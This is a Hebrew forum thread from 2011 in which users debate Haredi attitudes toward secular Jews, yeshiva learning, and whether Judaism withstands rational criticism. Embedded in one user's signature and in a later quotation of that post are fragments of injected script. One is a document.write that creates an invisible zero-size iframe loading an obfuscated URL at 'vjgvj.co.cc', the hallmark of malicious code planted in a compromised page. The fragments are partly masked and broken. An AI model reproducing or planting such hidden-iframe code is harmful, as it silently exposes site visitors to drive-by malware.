|
|
| נשלח ב-19/3/2011 20:47 |
 |
| |
לא ממש קשור לנושא האשכול...
בעל וירמיהו
לפי קריאת התימנים, שווא נע שיש אחריו יו"ד נקרא כחירק (ללא תלות בניקוד היו"ד), כך שיש לו על מי לסמוך.
|
|
|
|
| נשלח ב-19/3/2011 21:01 |
|
| |
כחרדי ברצוני לומר חרדי אמתי אין לו שנאה לחילוני כלל, להפך רואים בחילונים אחים בדם, וידעים להכיר להם טובה,
ידוע הסיפור שבשנים אחרונות של הרב שך, שהיה כבר חלש מאוד, ביקרו אצלו בביתו מפקדי חיל אוויר הישראלי,
מיד שנכנסו אליו הוא ביקש מאנשי ביתו להרים אותו כי הוא רוצה לקום לכבודם,
המפקדים אמרו למה הרב צריך לטרוח לקום ?
הרב שך ענה להם כי אני רוצה לכבד אותכם ולהודות לכם שאתם שומרים עלינו ועל שמי הארץ,
רבי מורי מספר לי שר' שלמה זלמן היה בברית ברמות א' (שכונה מעורבת חילונים ודתים וחרדים)
ניגשו כמה אברכים אליו שיברך את השכונה שהחילונים יעזבו אותם,
ענה הרב בכעס למה ?? שגם יחזרו בתשובה למה שיעזבו את השכונה ???
בדרך כלל אפשר לזאת לפי השנאה לחילונים שהאדם הוא לא חרדי במקור,
_________________
|
|
|
|
| נשלח ב-19/3/2011 21:47 |
|
| |
מקסי
כל הכבוד לספורים, אז מה?
|
|
|
|
| נשלח ב-19/3/2011 23:47 |
|
| |
| בעלבעמיו כתב: |  | | מקסי כל הכבוד לספורים, אז מה? |
|
הגבתי לבעל האשכול, שאפשר לזהות שהוא לא חרדי במקור, השנאה ליהודים באים מהתקשורת שהחרדים לא מושפעים מהם כלל,
_________________
|
|
|
|
| נשלח ב-20/3/2011 00:58 |
|
| |
אתר הדוס,
ואני חשבתי שהתורה נתנה לעם ישראל כדי שיקימו ממלכת כהנים וגוי קדוש וכד' , ולא כדי ש"לציבור החרדי יהיה טוב".
מסתבר שיש שהתיאשו כבר מזמן מלקיים את רצון השם (והמציאו אלטרנטיבות מוזרות תחת זה) , ועוד מעזים בחוצפתם לקרוא לאחרים תבוסתנים. מצד שני כבר חז"ל לימדונו ש"חוצפה יסגא".
_________________
|
|
|
|
| נשלח ב-20/3/2011 21:46 |
|
| |
אתרהדוס
למרות שאני חושב שגישתך להגדרה ירא שמים\חרדי היא גישה שיש לה מקום במציאות לפלך אוכלוסיה מסויים (נגיד.. ילדים בגן) בטוח שהבנת שלא הגעת למקום הנכון...
ואכן האשכול הנ"ל שיעשע והוסיף לאווירת הפורים, לא כל יום רואים חבורה של מוחות מבריקים מבצעים לינץ' בחרדי ממוצע..
שיהיה חג שמח!
_________________
|
|
|
|
| נשלח ב-20/3/2011 21:59 |
|
| |
רק לא הבנתי מאיפה הוא הביא את השם פרוכת עוד לא התאוששתי מזה.
|
|
|
|
| נשלח ב-20/3/2011 23:00 |
|
| |
אתר הדוס
צר לי שדבריך עוררו גל של תגובות שאינן נאותות.
אם יהיה לי זמן אולי אמחוק ואמחוק ואמחוק.
אני סבור שבדבריך אפשר למצוא כמה רעיונות חשובים מאד.
א. כפי שכבר ציין מיכי, האם הישיבות שלנו היום מהוות המשך של צורת הלימוד הראויה? השאלה הזו כה חשובה עד שראוי להקדיש לה אשכול. ודאי שמצד כוונת המורים והתלמידים הם רוצים בכל מאדם ללמוד את תורת ה'. השאלה היא באיזו מידה זה מצליח ואם אפשר לשפר.
ב. אני סבור כמוך שיש תחושה של תבוסתנות. במובן של ייאוש ואמונה של כשלון מראש. אך לא כלפי החרדים. הציבור החרדי אינו אמור להיות נושא בפורום אלא אולי כנושא סוציולוגי. אני כן סבור שיש תחושה של תבוסתנות אצל כולנו. אולי זה יצר הרע שר' נחמן הזכיר (אין ייאוש בעולם כלל, קרא, כדי שלא ניכנע לתחושה הזו).
במה?
1. אצל החכמים האורתודוכסים, הם מאמינים למסקנות המרחיקות לכת של ביקורת המקרא ושל הביקורת הפילוסופית, ואינם מרשים לעצמם להאמין בעקרונות כמו השגחה פרטית, נבואה ונכונות המסורת שלנו.
2. אצל החרדים, יש תחושה של תבוסתנות ביחס לכוחו של האדם לפעול ולהיות ירא שמים. (לכן אין להתגייס, ואין ללמוד מקצוע ואין מה ללמוד מדעים אלא רק להתכנס בגטו מפני השאלות הפילוסופיות).
נעשה אם כן תשובה. תשובה על הפחד מפני התמודדות. וכיצד מתקנים את הפחד? על ידי התחזקות באמונה בעצמנו, בין על ידי הכרת כוחותינו, בין על ידי הכרת הנושאים שאיתם יש להתמודד, בין על ידי התחזקות באמונה כי ה' לא שלח אותנו לעולם הזה כדי להסתגר ולברוח לגטו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-21/3/2011 00:31 |
|
| |
| מיימוני כתב: | |
ב. אני סבור כמוך שיש תחושה של תבוסתנות. במובן של ייאוש ואמונה של כשלון מראש. אך לא כלפי החרדים. הציבור החרדי אינו אמור להיות נושא בפורום אלא אולי כנושא סוציולוגי. אני כן סבור שיש תחושה של תבוסתנות אצל כולנו. אולי זה יצר הרע שר' נחמן הזכיר (אין ייאוש בעולם כלל, קרא, כדי שלא ניכנע לתחושה הזו).
במה?
1. אצל החכמים האורתודוכסים, הם מאמינים למסקנות המרחיקות לכת של ביקורת המקרא ושל הביקורת הפילוסופית, ואינם מרשים לעצמם להאמין בעקרונות כמו השגחה פרטית, נבואה ונכונות המסורת שלנו.
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
|
|
מיימוני,
דבריך מחזקים אצלי את ההרגשה שקיימת אצלי כבר הרבה זמן, שאצלך ואצל אנשים רבים אחרים, יש איזו שהיא מעלה בחוסר כניעה לדברי כפירה.
אסביר את דברי: לדעתי ניתן לחלק את האנשים העוסקים בעניינים דתיים לשלושה סוגים. ישנם את האנשים החרדיים, שאינם מייחסים שום תשומת לב לביקורות הגדולות שקיימות על הדת, והם נשארים חרדים בלי שום רצון או ניסיון להתמודדות עם דעות אחרות.
בניגוד להם, ישנם אנשים שיש להם איזשהו יושר פנימי ולכן הם לא יכולים להשאיר את השאלות הקשות על הדת ועל היהדות בלא תשובה או בלא התמודדות. המצב הזה גורם להם לפתח יהדות יותר רציונלית ולנסות לענות על השאלות הקשות שישנן על על הדת.
אולם גם אנשים אלו לא מוכנים להסתכל על הדברים בשום אופן בצורה אובייקטיבית כתינוק שנולד שצריך לבחור את דרכו. לדעתם, המטרה של היהודי בחייו הוא לעבוד בכל כוחו על מנת לתרץ את הדת ולהפוך אותה לרציונלית.
יש הרגשה מסויימת שבעיני אנשים אלו, אם לאדם יש יכולת לתרץ את הדת, ולו בצורה האבסורדית והמוזרה ביותר שתתיכן, והוא לא עשה כך, הרי הוא בגדר בוגד, תבוסתן, אדם שלא מסוגל להפריד חבילה למרכיבה וכו' וכו' .
אנשים אלו מעולם לא חשבו על הרעיון, שאולי מן הראוי לבחון את הדת ללא דעות מוקדמות, שאולי העובדה שנולדנו דתיים אינה אמורה להשפיע עלינו בבדיקת דרכינו. שאולי הדבר האמיתי והישר ביותר, הוא לא להגיע מעמדה שכיוון שנולדנו דתיים, עלינו לתרץ את הדת בכל כוחינו. אלא פשוט לבדוק ביושר, בכנות, מתוך נכונות אמיתית לקבל כל תוצאה שתצא, מתוך יראת האמת ולאו דווקא מתוך יראת שמיים, את השאלה, האם הדת עומדת במבחן הגיוני סביר? האם בתור חילונים/נוצרים/בודהיסטים גם היינו משתכנעים באמיתותה הגדולה של הדת? או שמא רק בגלל שאנחנו דתיים אנחנו מנסים לומר שאדם הראשון הוא לא אדם הראשון, שמסורת בעיתית מאד יכולה אולי להיות אמיתית, ושדברי התורה כולם משלים (חוץ מאלו שבלעדיהם המסורת חסרת ערך)??
כאשר אני שומע שכפירה מוגדרת כתבוסתנות, הדבר מעורר אצלי שאלות קשות על מידת המחוייבות לאמת של האומר אתה.
האם אנחנו נלחמים נגד מישהו? האם אנחנו מעוניינים להוכיח את צדקתנו למישהו? האם קבלת האמת ממי שאמרה מתוך רצון לקבל, ולא רק מתוך רצון למצא את התשובה שתתאים לדרכי היא תבוסתנות?
לדעתי, האדם האמיץ והלא תבוסתן הוא זה שתבוסה מוגדרת אצלו ככניעה לדעות קודמות שהיו לו. אדם זה אינו מרגיש מובס כאשר הוא נאלץ משקולים רציונליים לוותר על דת אבותיו, אדרבה, הוא המנצח, כיוון שלא רק שהוא הצליח לשקול את דרכו בצורה רציונלית, אלא הוא הצליח להתעלות מעל הפיתוי לתרץ תירוצים לא סבירים על מנת לשלב את הידע שלו עם דרכו הקודמת. הוא מישיר את עיניו אל האמת ומוכן לקבלה כמו שהיא, קשה וכואבת ככל שתהיה, בלי להתפתל, ובלי לנסות לתרץ תירוצים. זהו גיבור אמיתי ולא תבוסתן בעיני!
_________________
|
|
|
|
| נשלח ב-21/3/2011 00:52 |
|
| |
עץ היקר
הגיבור האמיתי הוא זה שמנסה להבין את החכמים הקודמים לו, אחרת הוא סתם בלפן גדול, כי קודם נראה אותו ללכת ערום ברחוב כי אין לו הסבר למה אנו לבושים,
_________________
|
|
|
|
|
| נשלח ב-21/3/2011 03:20 |
|
| |
| maxmen כתב: | | עץ היקר
הגיבור האמיתי הוא זה שמנסה להבין את החכמים הקודמים לו, אחרת הוא סתם בלפן גדול, כי קודם נראה אותו ללכת ערום ברחוב כי אין לו הסבר למה אנו לבושים,
_________________
|
|
מקס,
אינני לובש בגדים בגלל ציוויים של החכמים שקדמו לי, אלא בגלל שמכיוון שאני מעוניין בחברה אני צריך להתחשב במוסכמות חברתיות.
כיוון שאינני תופס את האמונה כמוסכמה חברתית גרידא, אלא כדבר שאמור להורות על אמת כלשהי, אינני חושב שהנידון דומה לראיה.
_________________
|
|
|
|
| נשלח ב-21/3/2011 03:48 |
|
| |
עץ_נטוע
אי אפשר למדוד את נכונות הדת במנותק מהמסורת עליה גדלת, אם מכיוון שהדת מבוססת על אירוע נבואי שסב סבך חווה, אם מאחר ואי אפשר לבדוק נכונות של דת רק ע"י מספר מהלכים לוגיים אלא צריך להיפגש עם הדברים, ללמוד אותם, לחיות אותם, ורק אז להחליט, ואכן זה שאתה יהודי לא צריך להפריע לך בבחירתך..
_________________
|
|
|
|
| נשלח ב-21/3/2011 04:13 |
|
| |
פורים שמח לכוווווולם!
לא קראתי את כל הדיון, אבל אחרי דברי מו"ר עט"ר שליט"א כמעט ואין מה להוסיף.
בכל זאת ברצוני להתייחס לנושא הדיון שבפתיחת האשכול.
כפי שאני מכיר את המקום כאן, מדובר בחבר'ה נון קונפורמיסטים (במידה זו או אחרת) שמילאו כרסם בש"ס ובפוסקים, ולקינוח הרביצו כמויות גדולות מדבריהם של האישים הדגולים בעלי ההשכלה השונים (בזה אינני ממש יכול לכלול את עצמי).
ובכן רבותי! ההשכלה היא - לדעתי ולדעת רבים מרבותינו גדולי הדורות - יתרון ברור, גם אם אין לכך עידוד בעולם החרדי, בלשון המעטה. אבל אל נא אחי תרעו, היזהרו שלא לשפוך את התינוק עם המים, והיזהרו גם כן מנגע ההתנשאות, שמקנן בלבותיהם של האינדווידואליסטים באשר הם. השתדלו להכיר בכך שציבור מגובש ובכללו הציבור החרדי מוכרח להתנהל באופן קונפורמי, אחרת אין קיום לכל אותם אורחות חיים שנגזרים מחיי תורה ומצוות שחשובים - בתקוה - לכולנו. בתור פרטים שחיים בתוך ציבור גדול צריך מדי פעם לכופף את הראש ולחשוב בהגיון (כן זו לא טעות) על הצורך החברתי בקביעת המסגרות ובתיקון תקנות וחומרות שונות (שגם בעיני לא תמיד מוצאות חן). שבסופו של חשבון הם אלה שמחזיקים את דת ישראל על המפה ברמה איכותית כמה שניתן.
|
|
|
|
|
| נשלח ב-21/3/2011 04:35 |
|
| |
| kaner91 כתב: | | עץ_נטוע
אי אפשר למדוד את נכונות הדת במנותק מהמסורת עליה גדלת, אם מכיוון שהדת מבוססת על אירוע נבואי שסב סבך חווה, אם מאחר ואי אפשר לבדוק נכונות של דת רק ע"י מספר מהלכים לוגיים אלא צריך להיפגש עם הדברים, ללמוד אותם, לחיות אותם, ורק אז להחליט, ואכן זה שאתה יהודי לא צריך להפריע לך בבחירתך..
|
|
ההוכחה מן המסורת איננה נשענת על העובדה שסב סבי הוא זה שחווה את ההתגלות הא-לוהית, גם אם סב סבי הוא גר (ובהחלט יתכן שכך, במיוחד אם נניח שרבים מהאשכנזים הם צאצאי הכוזרים), החוזק של ההוכחה מן המסורת נשאר כשהיה.
אני בהחלט חושב, שדת שדורשת אמונה מוחלטת ומאיימת בעונשים כבדים על חוסר אמונה, איננה יכולה להסתמך על רגשות וחוויות סובייקטיבים של אדם כזה או אחר. היא חייבת לספק הוכחה שניתנת לבדיקה ללא תלות במוזה של האדם באותה עת. אם היא איננה מצליחה לספק הוכחה מעין זו, העובדה הזו עצמה, כבר מהווה שיקול לפסול אותה.
מלבד זאת, כיוון שהטיעון הבסיסי של היהדות על התגלות האל באותות ובמופתים הוא טיעון כל כך חריג וקשה לקבלה, כדי לאמת אותו צריך טיעונים מאד חזקים (כדברי קרל סייגן: "טיעונים יוצאי דופן צריכים ראיות יוצאות דופן"). וקשה לי להאמין שטיעונים של רגשות סובייקטיבים כלפי אורח החיים הדתי יכולים לענות על הקריטריון המחמיר הזה.
לא זכיתי גם להבין, כיצד לימוד וחיות של הדברים יכול ללמד על מקורה האלוהי של הדת. הוא לכל היותר יכול להוכיח שהיא מעניקה למאמיניה סיפוק ואושר נפשי, אולם בכך אין שום הוכחה למקורה הא-לוהי של התורה.
_________________
|
|
|
|
| נשלח ב-21/3/2011 04:50 |
|
| |
זכות_שתיקה
לא אמרו שלא צריך להיות כללים הגדרות ברורות ואפילו סייגים, אך השאלה היא מה הן אותם הגדרות? מה הם הכללים החלים על המאמין וכמה רבים וחמורים צריכים או ראויים להיות הסייגים, וזה מהות הוויכוח.
לדוגמה (דיי נפוצה פה בפורום):
אם כופים עלי להאמין למשל שכל אות שכתבו חז"ל נחקקה בסלע מפי משה רבינו בהשראת הגבורה וחז"ל אינם יכולים לטעות אפילו כשזה נוגד את העובדות בשטח, ואז כשאני אומר שאפשר להאמין שחז"ל יכלו לטעות ולהישאר יהודי כשר (ואפילו מראה מקורות לכך) קוראים לי כופר.. דבר מעין זה נובע מהגדרות שלדעת העצכ"ח יסודן בטעות ובשיטחיות.
ולכן מטרת הפורום (לענ"ד) היא ללבן סוגיות ביהדות כדי להוציא בסופו של יום כלים איתם נוכל להתמודד ולבנות אחר כך הגדרות נכונות יותר ועמוקות יותר ליהדות (וכמובן שכל זה בהשראת 70 פנים לתורה,שהרי לא תמצא כאן שניים שחושבים אותו דבר וזה בסדר, וגם זו אחת מאותם סוגיות שמלבנים בפורום.)
_________________
|
|
|
|
|
